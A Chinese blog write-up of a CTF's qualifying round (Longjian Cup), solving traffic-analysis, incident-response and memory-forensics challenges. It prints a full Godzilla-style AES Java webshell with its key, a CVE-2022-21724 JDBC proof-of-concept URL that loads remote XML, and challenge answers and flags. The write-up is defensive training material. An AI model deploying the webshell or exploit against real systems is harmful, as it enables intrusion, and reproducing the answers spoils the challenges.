第二届陇剑杯 初赛全WP

news/2024/10/24 0:53:50/文章来源:https://www.cnblogs.com/SpuerCh3nry/p/18498664

以前打的比赛写的WP,整理了一下,纯个人理解,WP和附件自取,若有帮助,记得点赞和关注哈:)

hard_web

题目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip

  1. 服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

首先确定服务器和客户端的IP

确定是服务器是192.168.162.180客户端为192.168.162.188,开放端口的话会完成tcp三次握手协议

所以如果成功建立连接的话,服务器会发送一个synack字段

  • ip.dst == 192.168.162.188 and tcp.connection.synack

所以可以确定开放的端口是80,888,8888

  1. 服务器中根目录下的flag值是多少

首先过滤HTTP协议

可以看到shell.jsp,初步判断是某种webshell


然后这里还列出了webshell的内容

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

基本就是哥斯拉的webshell,解密的话网上找一个脚本或者使用大厨即可

直接看最后一个请求和响应

请求

响应

最后的flagflag{9236b29d-5488-41e6-a04b-53b0d8276542}

  1. 该webshell的连接密码是多少

倒数第五个请求解密之后可以看到

查看响应

然后md5解密748007e861908c03得到,或者写脚本爆破MD5也行

看看MD5加密

应该是去了前几位作为密钥

所以连接密码是14mk3y

参考:

  • https://blog.csdn.net/weixin_52365980/article/details/131505481

Wireshark1

题目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip

  1. 被入侵主机的IP是?

分析发现入侵协议是telnet,应该是从哪里知道了账号密码之后直接远程连接23端口了

看内容就知道被入侵主机的IP是192.168.246.28

  1. 被入侵主机的口令是?

直接追踪流即可

口令是youcannevergetthis

  1. 用户目录下第二个文件夹的名称是?

同样直接追踪流即可

第二个文件夹的名称是Downloads

  1. /etc/passwd中倒数第二个用户的用户名是?

同样直接追踪流即可

倒数第二个用户的用户名是mysql

SmallSword

题目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip

  1. 连接蚁剑的正确密码是______________?

分析流量可以看到

这边通过sql联合注入写了两个webshell进去

这边连接蚁剑的密码都是6ea280898e404bfabd0ebb702327b18f

但是连接利用的时候又变成了

6ea280898e404bfabd0ebb702327b19f

后续还有

一堆疑惑行为,存在多次传参命令执行

最后尝试真正的密码是6ea280898e404bfabd0ebb702327b19f

  1. 攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

存留的值大概率是写入的,分析流量发现最后滴几个流量在写入信息

明显执行文件流,然后字符串可以base64解密,一一解密得到

最后第三个利用webshell的流

hacker.txt中写入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91,即为留存的值

然后倒数第二个

这不是火绒吗,难道是在hack火绒!!!,不过好像是类似一个入侵伪装吧,木马文件改名以及修改时间戳。

  1. 攻击者下载到的flag是______________?(答案示例:flag3{uuid})

分析info1.php这个webshell没发现下载相关命令,可能有其他的webshel

这个参数v似乎也能进行命令执行,但是无法解密命令

追踪流

在随后的130137流中发现

明显是exe文件,我猜测是下载了名为火绒的exe

直接转16进制搜索exe文件头

随后复制一长串用010转一下得到

直接运行输出:图片保存成功:

然后在上一层会输出一张图片

010查看发现是png,然后修改高度

发现最后的flagflag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

ez_web

题目附件:ez_web_e82608071ac21070473ff8c37658e265.zip

  1. 服务器自带的后门文件名是什么?

分析流量包可以发现

有个d00r.php可以进行命令执行,但是提交不对,于是猜测hacker就是通过服务器自带的后门写入这个webshell

直接查找d00r.php发现

这里通过a参数利用file_put_contents函数写入了文件

所以后门文件就是ViewMore.php

  1. 服务器的内网IP是多少?

由于这里利用了d00r.phpcmd参数进行命令执行

我们直接应用为列进行查看,内网IP的话就重点关注IP相关命令

查看回显

双网卡,经过尝试内网IP192.168.101.132

  1. 攻击者往服务器中写入的key是什么?

这边看到


然后尝试解密

发现是一个zip,然后有密码,密码在

大厨直接解密即可

所以写入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337

tcpdump

题目附件:easywiki.zip

  1. 攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

可以看到

爆破失败返回的是300,那我们查找200

追踪流得到

所以登录的用户名与密码为TMjpxFGQwD:123457

  1. 攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值

查看cookie

直接把cookie应用为列,然后过滤人眼查看

前面是2后面变1那么越权的应该是1

MD5一下

得到383c74db4e32513daaa1eeb1726d7255

  1. 攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

直接搜索jdbc得到如下

配置中的数据库账号密码为springcfg:root,但是不对,然后一一追踪流在1600流发现

所以配置中的数据库账号密码zyplayer:1234567

  1. 攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

发现可疑情况

远程下载

可以看到远程下载用的是jdbc:postgresql查找一下

找到一个CVE-2022-21724POC如下

  • DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

主要利用的是socketFactorysocketFactoryArg这两个参数

可以看到几乎一样

得到CVE-2022-21724:custom.dtd.xml

  1. 给出攻击者获取系统权限后,下载的工具的名称,比如nmap

同样一一追踪流

得到下载的工具名称fscan_amd64经过尝试需要去掉版本信息

最后为fscan

hacked

题目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip

  1. admIn用户的密码是什么?

查看

发现用户名和密码都是加密的形式,随后在tcp50流看到加密方式


AES加密

  • keyl36DoqKUYQP0N7e1
  • IV131b0c8a7a6e072e

随后在57流看到

查看56流并解密

得到admIn用户的密码flag{WelC0m5_TO_H3re}

  1. app.config['SECRET_KEY']值为多少?

尝试直接搜索SECRET_KEY

html解码

得到SECRET_KEY的值为ssti_flask_hsfvaldb

  1. flask网站由哪个用户启动?

76流解密得到

发现执行了whoami,但是没有回显

但是却有一个set-cookie

然后解密就得到

可以知道用户名是red

  1. 攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

百度一下注入内存马的方法,参考

  • https://xz.aliyun.com/t/10933#toc-4
  • https://www.anquanke.com/post/id/279160#h3-11

查阅发现是调用了add_url_rule函数来添加路由

然后发现81流有点奇怪

解密session

和内存马完全符合

所以最后的内存马路径就是add_url_rule后面的Index

sevrer save

题目附件:SS.zip

解压密码为c77ad47ba4c85fae66f08ec12e0085dd

  1. 黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

分析流量


发现可疑字符串,百度一下


得到CVE-2022-22965

  1. 黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

直接看压缩包中的文件系统信息helloworld目录下

![](https://img2024.cnblogs.com/blog/3475197/202410/3475197-20241024000808828-974088635.png
然后看bbbb.sh

或者看流量



得到192.168.43.128:2333

  1. 黑客的病毒名称是什么? 格式为:filename

可以看到用户主目录下


有个mian文件,同时.idea中也存在文件



猜测恶意文件就是mian

  1. 黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

直接查看一下passwd


再看一下shadow


所以用户名与密码为ll:123456

  1. 服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

直接查看用户目录下的.log.txt


得到外网IP172.105.202.239

  1. 病毒运行后释放了什么文件?格式:文件1,文件2

就释放了.idea下的两个文件


答案就是lolMiner,mine_doge.sh

  1. 矿池地址是什么? 格式:domain:1234

直接查看mine_doge.sh


得到矿池地址doge.millpools.cc:5567

  1. 黑客的钱包地址是多少?格式:xx:xxxxxxxx

同样


钱包地址为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

IncidentResponse

题目附件:太大了,传不了,一个镜像文件拿来应急响应

解压密码为f0b1ba11478343f404666c355919de3f

题目描述

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)

  1. 挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看一下进程信息


有个redis看看配置文件


这里JSON格式怪怪的,和常规的配置文件不太一样


后面就更加离谱了,还有pools以及wallet,经典的xmrig挖矿病毒,应该个伪造的redis程序,同时也没有redis-cli命令行程序

所以挖矿程序所在的路径就是/etc/redis/redis-server


最后的答案6f72038a870f05cbf923633066e48881

此外我们还可以用7Z拿出ova中的VMDK磁盘文件,然后用取证大师或者R-Studio来恢复我们拿出需要的文件,这样会更加方便一点,不过就看不了内存中的进程等等信息了,最好仿真和磁盘同时利用

我们恢复取出其中的redis-server检查一下


直接检测出了xmrig,一种经典的挖矿病毒

  1. 挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

同样看配置文件我们就可以知道矿池地址是donate.v2.xmrig.com

查一下


最后的答案3fca20bb92d0ed67714e68704a0a4503

  1. 攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

hint:答案md5值前两位为3e

由于我们看到该镜像运行的web服务是一个jar包,那么大概率通过java的方式进行利用然后打进来


当前目录下有日志,看看日志

利用文件恢复


这两个文件

反编译jar包,在pom中看到


版本信息


版本是1.2.4,这个版本是存在shiro反序列化漏洞的

网站框架是网上的renren-security,不过很久没更新了

看下日志


基本可以确定是shiro550,但是怎么输入的不对

后面发现英文的可以


最后的答案3ee726cb32f87a15d22fe55fa04c4dcd

  1. 攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看ssh的日志


发现存在来自81.70.166.3的暴力破解痕迹,猜测就是攻击者的IP


取证大师也能看到

随后变换格式


所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9

  1. 攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看nginx的日志


可以看到攻击者的UAMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

变化格式


最后的答案6ba8458f11f4044cce7a621c085bb3c6

  1. 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

同样查看SSH日志


可以发现攻击者暴力破解无果之后,利用公私钥成功登录了系统,应该是通过某种方式写入了公钥,配置文件路径一般都是/root/.ssh/authorized_keys


然后看看格式


所以第一种方式就是利用SSH密钥进行权限维持

答案为a1fa1b5aeb1f97340032971c342c4258

  1. 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

一一检测常见Linux下的权限维持手段


查看影子账户


查看定时任务


查看有无敏感启动任务

发现一个启动任务的后门用于重复启动挖矿程序,所以配置文件的路径是/lib/systemd/system/redis.service

变换格式


所以最后的答案就是b2c5af8ce08753894540331e5a947d35

baby_forensics

题目附件:BF.zip

解压密码为4cf611fce4a2fec305e54c2766b7c860

  1. 磁盘中的key是多少

直接挂载


发现磁盘用bitlocker加密了,需要解密

尝试用EFDD解密


发现可以


密钥的16进制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709


乱码用不了好像

恢复密钥

得到恢复密钥560604-255013-655633-128854-663223-316063-484946-476498

然后利用恢复密钥解密或者用EFDD再次挂载一个解密的盘都可以


打开就能得到key


得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d,作为MISC手的直觉一眼像是加密的


rot47解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5

或者不解密磁盘直接去内存中取出解密


所以最后的答案就是2e80307085fd2b5c49c968c323ee25d5

  1. 电脑中正在运行的计算器的运行结果是多少

先取证一下内存


然后取出进程镜像


然后用Gimp分析进程内存中的位图文件,具体原理百度


调了一会终于调出来可,最后的参数如下,可能有很多种参数选择可以得到上图


此处之外利用如下命令查看程序窗口句柄信息


然后查找calc程序也能找到


所以答案就是7598632541

  1. 该内存文件中存在的flag值是多少

继续取证内存文件


有个便签程序,取出内存分析一下


然后同样用Gimp分析


能看出有一段字符串以U2Fsd开头,可能是AES或者DES rabbit加密,直接Strings大法看一下


得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp

补充完善得到

U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

还差一个密钥,文件搜索key/k3y/passwd/等等信息,除此之外好像Gimp继续翻看内存文件也能得到类似文件的提示


得到一个这个,导出查看一下


猜测是密钥,AES解密试试


得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/820957.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《机器学习》 学习记录 - 第三章

第3章 线性模型 3.1 基本形式 给定由\(d\)个属性描述的示例\(x=(x_{1};x_{2};...;x_{d})\),其中\(x_{i}\)是\(x\)在第\(i\)个属性上的取值,线性模型(linear model)试图学得一个通过属性的线性组合来进行预测的函数,即 \(f(x)=w_{1}x_{1}+w_{2}x_{2}+...+w_{d}x_{d}+b\) (式…

超星学习通视频课件课程下载工具,如何在电脑端下载超星学习通视频课程课件资料PDF,PPT到本地?

一. 安装超星学习通课程下载器 1.获取学无止下载器 https://www.xuewuzhi.cn/chaoxing_downloader 2.下载安装后,然后点击桌面快捷方式运行即可。 注意:杀毒软件可能会阻止外部exe文件运行,并将其当做成病毒,直接添加信任即可,本软件绝对没有木马病毒。 二. 使用说明 1.学…

有道精品课上买的课程过期了怎么办?教你如何下载有道精品课视频课程到本地永久观看~

前言:很多同学都遇到过购买的网课课程过期了,然后无法观看,花了钱还没学完,血亏。这里教大家一种方法,把有道精品课上面快过期的课程下载到电脑本地,然后可以永久观看了 PS: 对于已经过期的有道精品课程,也能是能下载的呢~ 提示:操此方法需要使用Windows电脑,Mac还不支…

教职云智慧职教视频课件课程下载工具,如何在电脑端下载智慧职教视频课程课件资料到本地?

一. 安装智慧职教课程下载器 1.获取学无止下载器 https://www.xuewuzhi.cn/icve_downloader 2.下载安装后,然后点击桌面快捷方式运行即可。 注意:杀毒软件可能会阻止外部exe文件运行,并将其当做成病毒,直接添加信任即可,本软件绝对没有木马病毒。 二. 使用说明 1.学无止下…

ChatGPT官网中文版镜像网站整理合集(2024/10/24)

​ 一、GPT工具跟国内AI大模型整理 (一)、GPT国内 更多咨询可以看:https://gpthomechat.com/?p=95 1.https://snakegpt.work ChatGPT中文版,支持GPT3.5/4/4o,可以用MJ绘画 2.GPTCAT GPT官网逆向版,支持GPT4o的实时语音对话,支持GPTo1-preview 3.https://ai-panda.xy…

API接口的12种安全措施

API接口的12种安全措施

[转]gcc的-g,-o,-c,-D,-w,-W,-Wall,-O3等参数的意义

一、-g -g可执行程序包含调试信息-g为了调试用的加个-g 是为了gdb 用,不然gdb用不到 二、-o -o指定输出文件名-o output_filename,确定输出文件的名称为output_filename,同时这个名称不能和源文件同名。如果不给出这个选项,gcc就给出预设的可执行文件a.out。一般语法:gcc …

Docker配置Trojan代理

1、遇到的问题 在做云计算作业,使用阿里云的ECS服务器尝试使用docker拉取镜像的时候,发现一直无法从仓库拉取,更换了多个镜像源也没有解决问题,于是决定学会去配置linux的代理,记录过程。 2、安装Trojan何为Trojan? Trojans是一种加密的代理协议,全称为Trojan-GFW,是目…

为什么大部分 PHP 程序员做不了架构师?

架构师一直是 PHP 程序员中梦寐以求的职位,它可望而不可及。我想大部分的 PHP 程序员心中都有一个架构师梦,但是这个梦基本上很难实现,梦终究还是梦,这是多么痛的领悟。大家好,我是码农先森。 架构师一直是 PHP 程序员中梦寐以求的职位,它可望而不可及。我想大部分的 PHP…

10.23每日总结

上次的正课可以说给了我极大的挑战,期中考试的复杂图形化可互动增删改查系统例题我可以说是毫无头绪,而选课系统在多方援助下也算大概完成,数据库、Java语言、编程深入结合,属实是我万万没想到的难度,还需努力,加油!!!

Linux 的系统信息命令

Linux 查看操作系统、内核、服务器架构、CPU、GPU、内存和磁盘信息等命令。Author: ACatSmiling Since: 2024-10-22操作系统信息:方式一:uname -a。uname是 "Unix Name" 的缩写,这个命令主要用于打印与系统相关的信息,-a是 uname 命令的一个选项,这个选项的作用…